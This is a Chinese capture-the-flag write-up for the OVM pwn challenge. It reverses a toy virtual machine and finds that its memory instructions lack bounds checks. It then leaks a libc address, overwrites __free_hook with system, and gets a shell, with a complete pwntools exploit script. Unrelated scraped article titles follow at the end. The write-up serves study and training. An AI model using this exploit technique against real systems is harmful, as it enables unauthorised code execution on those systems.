静态分析

拿到题目后第一件事先检查程序的保护机制

看到程序除了canary保护以为,其他保护都开了,丢到IDA里面静态分析,程序先是为comment参数分配了一块0x8c大小的内存,然后让我们输入指令起始位置和栈起始位置,然后将指令起始位置赋值给reg[13],将栈起始位置赋值给reg[15],而且指令的数量不能大于0x10000,然后就是需要我们一条一条输入指令,输入完毕后就读取指令并执行,最后会有一个向comment中写入数据然后调用sendcomment函数

然后我们分别看一下fetch() / execute() / sendcomment() 这三个函数

fetch()函数就是将指令取出来,然后将reg[15] + 1 去读取下一条指令

execute()函数也是这里最重要的函数了,它实现了每一条指令的功能,该函数太长了,这里就直接把代码复制过来了

ssize_t __fastcall execute(int a1)
{ssize_t result; // raxunsigned __int8 src_2; // [rsp+18h] [rbp-8h]unsigned __int8 src_1; // [rsp+19h] [rbp-7h]unsigned __int8 dest; // [rsp+1Ah] [rbp-6h]int i; // [rsp+1Ch] [rbp-4h]dest = (a1 & 0xF0000u) >> 16;      // 将a1与上0xF0000然后右移16位赋值给destsrc_1 = (unsigned __int16)(a1 & 0xF00) >> 8;    // 将a1与上0xF00然后右移8位赋值给src_1src_2 = a1 & 0xF;       // 将a1与上0xF然后赋值给src_2result = HIBYTE(a1);  // 取出操作码赋值给resultif ( HIBYTE(a1) == 112 ){result = (ssize_t)reg;reg[dest] = reg[src_2] + reg[src_1];   // 加return result;}if ( HIBYTE(a1) > 0x70u ){if ( HIBYTE(a1) == 176 ){result = (ssize_t)reg;reg[dest] = reg[src_2] ^ reg[src_1]; // 异或return result;}if ( HIBYTE(a1) > 0xB0u ){if ( HIBYTE(a1) == 208 ){result = (ssize_t)reg;reg[dest] = (int)reg[src_1] >> reg[src_2];    // 右移return result;}if ( HIBYTE(a1) > 0xD0u ){if ( HIBYTE(a1) == 224 ){running = 0;if ( !reg[13] )return write(1, "EXIT\n", 5uLL);  // 退出}else if ( HIBYTE(a1) != 255 ){return result;}running = 0;for ( i = 0; i <= 15; ++i )printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);result = write(1, "HALT\n", 5uLL);}else if ( HIBYTE(a1) == 192 ){result = (ssize_t)reg;reg[dest] = reg[src_1] << reg[src_2];   // 左移}}else{switch ( HIBYTE(a1) ){case 0x90u:result = (ssize_t)reg;reg[dest] = reg[src_2] & reg[src_1];   // 与break;case 0xA0u:result = (ssize_t)reg;reg[dest] = reg[src_2] | reg[src_1];   // 或break;case 0x80u:result = (ssize_t)reg;reg[dest] = reg[src_1] - reg[src_2];   // 减break;}}}else if ( HIBYTE(a1) == 48 ){result = (ssize_t)reg;reg[dest] = memory[reg[src_2]];     // mov reg, mem}else if ( HIBYTE(a1) > 0x30u ){switch ( HIBYTE(a1) ){case 0x50u:LODWORD(result) = reg[13];reg[13] = result + 1;result = (int)result;stack[(int)result] = reg[dest];     // 将数值放到stack[]数组中,即 push reg[dest]break;case 0x60u:--reg[13];result = (ssize_t)reg;reg[dest] = stack[reg[13]];        // 将stack[]数组中的数值让如reg[]数组中,即 pop reg[dest]break;case 0x40u:result = (ssize_t)memory;memory[reg[src_2]] = reg[dest];       // mov mem, regbreak;}}else if ( HIBYTE(a1) == 16 ){result = (ssize_t)reg;reg[dest] = (unsigned __int8)a1;  // 将a1放到reg[dest]数组中}else if ( HIBYTE(a1) == 32 ){result = (ssize_t)reg;reg[dest] = (_BYTE)a1 == 0;       // 将0赋值给reg[dest]}return result;
}

大致指令如下

mov reg, op      0x10 : reg[dest] = op
mov reg, 0      0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^           0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper

这里的两个mov没有对memory[]数组进行边界检查,可以越界写

sendcomment()函数就是把comment给free掉了

我们查看 comment、reg、memory、stack 这些数据都是存放在bss段上的,所以在 memory 越界写的时候,是可以把 comment、reg、stack 内容改掉的

而且程序最后又把comment给free掉了,如果我们能把 __free_hook 改为 system ,然后在 comment 里面写入 /bin/sh ,那么 free(comment) 就可以做到 system("/bin/sh")

泄露地址

当我们输入的操作数是0xE0的时候会将寄存器里面的值打印出来,所以这里可以泄露地址

首先我们需要把 __free_hook 地址泄露出来,然后找到libc的基址,我们可以随便将got表中的一个函数的地址放到memary[]数组中这样后面打印memary[]数组的时候就可以把函数真实地址打印出来了,这里我们选择了离memary[]数组最近的stderr,

我们可以把stderr的地址放到memary[]数组中,这样就可把stderr的地址打印出来,由于数组只能四字节四字节存放,而64位程序下地址有8字节,所以我们得将stderr的低四位和高四位分别存放,然后拼接起来,首先计算一下目标stderr相对于memary[]数组是第几个

memary[] : 0x0202060

stderr : 0x0201FF8
(0x0202060−0x0201FF8)/4=26(0x0202060 - 0x0201FF8) / 4 = 26 (0x0202060−0x0201FF8)/4=26

reg[0] = 26
reg[1] = reg[1] - reg[0]
reg[2] = memory[reg[1]]        # 低四字节
reg[0] = 25
reg[1] = 0
reg[1] = reg[1] - reg[0]
reg[3] = memory[reg[1]]        # 高四字节

这样我们就成功将stderr的地址写入了reg[]数组中,就可以leak了

漏洞利用

我们有了 stderr 的地址之后,因为存放在reg[]数组中,所以我们可以计算stderr的地址和__free_hook的偏移,然后把__free_hook-8的地址写到 comment 中,然后修改 comment 为 system 的地址即修改 __free_hook 为 system 的地址,并且把 /bin/sh 写到 comment 中,这样后续 free(comment) 就可以执行 system("/bin/sh") 了

我们用gdb调试程序,查看stderr的got表偏移,利用程序基址加上偏移计算出stderr的got表真实地址

然后我们查看__free_hook的地址,减去stderr的真实地址,就可以算出__free_hook相对于stderr的偏移了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bnC9C6LU-1647696757991)(https://s2.loli.net/2022/03/19/iKC51sXwNPlRQ7n.png)]

这里我们依旧采用分两次高位、低位分别写入的方法,将__free_hook的地址拼接起来,由于这里reg[]数组数据每次只能操作两字节,所以__free_hook-8 即 0x10a0 采用 1 右移 3 字节加上 a 右移一字节的方法写到reg[4]中,然后再将偏移加上reg[2]中stderr的低四字节存放到reg[2]中,这样reg[2]和reg[3]拼接起来就是 __free_hook-8 的地址了

reg[4] = 0x10
reg[5] = 12
reg[4] = reg[4] << reg[5]
reg[5] = 0xa
reg[6] = 4
reg[5] = reg[5] << reg[6]
reg[4] = reg[4] + reg[5]
reg[2] = reg[4] + reg[2]

然后我们只需要把 __free_hook 的地址写到comment即可,这里我们算一下comment相对于memary[]数组的位置

menary[] : 0x0202060

comment : 0x0202040
(0x0202060−0x0202040)/8=8(0x0202060 - 0x0202040) / 8 = 8 (0x0202060−0x0202040)/8=8

reg[4] = 8
reg[5] = 0
reg[5] = reg[5] - reg[4]
memory[reg[5]] = reg[2]
reg[4] = 7
reg[5] = 0
reg[5] = reg[5] - reg[4]
memary[reg[5]] = reg[3]
exit

还是老样子分低位高位写入,把__free_hook-8的地址写到comment上

然后我们退出就可以,它就会把__free_hook-8的地址输出出来,我们把拿到的地址+8就可以得到__free_hook的真实地址吗,然后我们计算system函数的真实地址,然后再程序下面对comment进行写的操作的时候就可以写入 /bin/sh + p64(sys_addr) 写到 __free_hook-8 里面了,这时候__free_hook 就被我们写成了 system 函数

然后程序最后执行 free(comment) 就相当于执行了 system("/bin/sh")

EXP编写

由于它的操作指令和操作数,是通过这个运算得到的,所以我们可以将我们想要的操作指令转换为数据输入

我们逆过来计算

完整exp:

from pwn import *
from LibcSearcher import *
sh = process("./pwn")
# sh = remote("node4.buuoj.cn", 29921)
# context.log_level = 'debug'
'''
0x10 : reg[dest] = op
0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^          0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
'''def send_code(opcode, dest, src1, src2):code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2print(hex(code))return str(code)# gdb.attach(sh, 'b *$rebase(0xC4A)')
sh.sendlineafter("PC: ", '0')
sh.sendlineafter("SP: ", '1')
sh.sendlineafter("CODE SIZE: ", "24")
sh.recvuntil("CODE: ")
# gdb.attach(sh, 'b *$rebase(0x0D4B)')sh.sendline(send_code(0x10, 0, 0, 26))
sh.sendline(send_code(0x80, 1, 1, 0))
sh.sendline(send_code(0x30, 2, 0, 1))
sh.sendline(send_code(0x10, 0, 0, 25))
sh.sendline(send_code(0x10, 1, 0, 0))
sh.sendline(send_code(0x80, 1, 1, 0))
sh.sendline(send_code(0x30, 3, 0, 1))sh.sendline(send_code(0x10, 4, 0, 0x10))
sh.sendline(send_code(0x10, 5, 0, 8))
sh.sendline(send_code(0xC0, 4, 4, 5))
sh.sendline(send_code(0x10, 5, 0, 0xa))
sh.sendline(send_code(0x10, 6, 0, 4))
sh.sendline(send_code(0xC0, 5, 5, 6))
sh.sendline(send_code(0x70, 4, 4, 5))
sh.sendline(send_code(0x70, 2, 4, 2))sh.sendline(send_code(0x10, 4, 0, 8))
sh.sendline(send_code(0x10, 5, 0, 0))
sh.sendline(send_code(0x80, 5, 5, 4))
sh.sendline(send_code(0x40, 2, 0, 5))
sh.sendline(send_code(0x10, 4, 0, 7))
sh.sendline(send_code(0x10, 5, 0, 0))
sh.sendline(send_code(0x80, 5, 5, 4))
sh.sendline(send_code(0x40, 3, 0, 5))
sh.sendline(send_code(0xE0, 0, 0, 0))# gdb.attach(sh)sh.recvuntil("R2: ")
low = int(sh.recvuntil("\n"), 16) + 8
print("[*]" + hex(low))
sh.recvuntil("R3: ")
high = int(sh.recvuntil("\n"), 16)
free_hook_addr = (high << 32) + low
print("[*] __free_hook : " + hex(free_hook_addr))
libc = LibcSearcher('__free_hook', free_hook_addr)
libc_base = free_hook_addr - libc.dump("__free_hook")
sys_addr = libc_base + libc.dump("system")# libc_base = free_hook_addr - 0x3c67a8
# sys_offset = [0x03f650, 0x03f650, 0x03f630,  0x03f630, 0x03f620, 0x045390, 0x0453a0, 0x0453a0, 0x045390]
# sys_addr = libc_base + sys_offset[6]payload = b"/bin/sh\x00" + p64(sys_addr)
sh.send(payload)# gdb.attach(sh)sh. interactive()

拿到shell


myblog

[OGeek2019 Final]OVM相关推荐

  1. buuoj Pwn writeup 166-170

    166 picoctf_2018_echo back 因为只有一次printf的机会,RELRO半开,不能覆盖fini,我们可以把puts改成vuln来制造循环,再次把printf改成system,来 ...

  2. 一道题目入门VMpwn

    一道题目学习VMpwn 原理 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下: 初始化分配模拟寄存器空间(reg) 初始化分配模拟栈 ...

  3. 【八芒星计划】 VM PWN

    这篇用来记录VM PWN 先申明本篇文章资料来源: https://blog.csdn.net/weixin_44145820/article/details/106600382 https://ww ...

  4. public static final int REMIN_REQUEST_CODE = 0x911 自己的大致理解

    public static final int REMIN_REQUEST_CODE = 0x911; 自己理解为 一个静态常量,也就一个标识,自己目前主要在2个地方常用到 OnActivityRes ...

  5. java内部类的权限符,static介绍、内部类、final、权限修饰符的作用范围,

    static介绍.内部类.final.权限修饰符的作用范围,static 关键字:(可用于修饰方法.变量) static 特点: static是静态修饰符,一般修饰成员变量.被static修饰的属于全 ...

  6. java增加final,Java8增加功能--Effectively final 功能

    java8新增了很多功能,可以大大简化代码,这个系列将会一一辅助代码加以介绍. 局部内部类和匿名内部类访问的局部变量必须由final修饰,java8开始,可以不加final修饰符,由系统默认添加.ja ...

  7. java语言基础final_java语言中final的用法

    许多程序设计语言都有自己的办法告诉编译器某个数据是"常数".常数主要应用于下述两个方面: (1) 编译期常数,它永远不会改变 (2) 在运行期初始化的一个值,我们不希望它发生变化 ...

  8. C++11之final关键字

    一.禁用继承 C++11中允许将类标记为final,方法时直接在类名称后面使用关键字final,如此,意味着继承该类会导致编译错误. 实例如下: class Super final {//...... ...

  9. (1)访问控制 (2)final关键字 (3)对象创建的过程 (4)多态

    1.访问控制(笔试题) 1.1 常用的访问控制符 public - 公有的 protected - 保护的 啥也不写 - 默认的 private - 私有的 1.2 访问控制符的比较 访问控制符 访问 ...

  10. 为什么必须是final的呢?

    一个谜团 如果你用过类似guava这种"伪函数式编程"风格的library的话,那下面这种风格的代码对你来说应该不陌生: 1 2 3 4 5 6 7 8 9 public void ...

最新文章

  1. Python面向对象编程:类继承和其衍生术语
  2. python编程软件排行榜_PYPL 9月编程语言排行榜发布 Python一枝独秀
  3. SQLserver2012 修改数据库架构
  4. Netty的使用:Server和Client通信
  5. matlab:图像的余弦变换(DCT)
  6. 麻瓜编程python web百度网盘_麻瓜编程_Python Web开发工程师_附课程配套资料
  7. ts文件合并为MP4的方法
  8. 名单出炉!下一轮“双一流”,重点建设这些高校!
  9. Vegas Pro给视频加马赛克方法
  10. Kettle之Excel输入的简单使用
  11. SQLSTATE=08S01通讯连接失败
  12. 经常失眠怎么办?失眠最快入睡的方法
  13. 如何起Linux服务器的21端口,linux下开启ftp的21号端口
  14. 香港中文大学推荐的书单~
  15. android--新闻阅读器实现源码
  16. 什么是Openflow?
  17. 一款适合全自动智能锁电机驱动芯片方案
  18. 利好消息!康复肺炎患者抗体血浆有助于拯救危重病人!捐献号召一呼百应
  19. 对于店铺违规降权,究竟该何去何从
  20. 如何使用html+Chart画甜甜圈图

热门文章

  1. 计算机网络初探教案,计算机网络基础知识教案.doc
  2. 【熟知水星无线路由器的安装步骤】
  3. 往年计算机二级在线查询,2012年计算机二级查询
  4. 全国计算机等级考试报名支付不了,23日起,全国计算机等级考试开始网上报名...
  5. 什么是原码,1’s Complement Code反码和2’s Complement Code补码
  6. 移动机会网络中的节点分簇路由算法
  7. 无线信道的选择性衰落
  8. django 查询优化之 select_related 和 prefetch_related
  9. otl c mysql_OTL的使用
  10. 第1期——WLAN定义和基本架构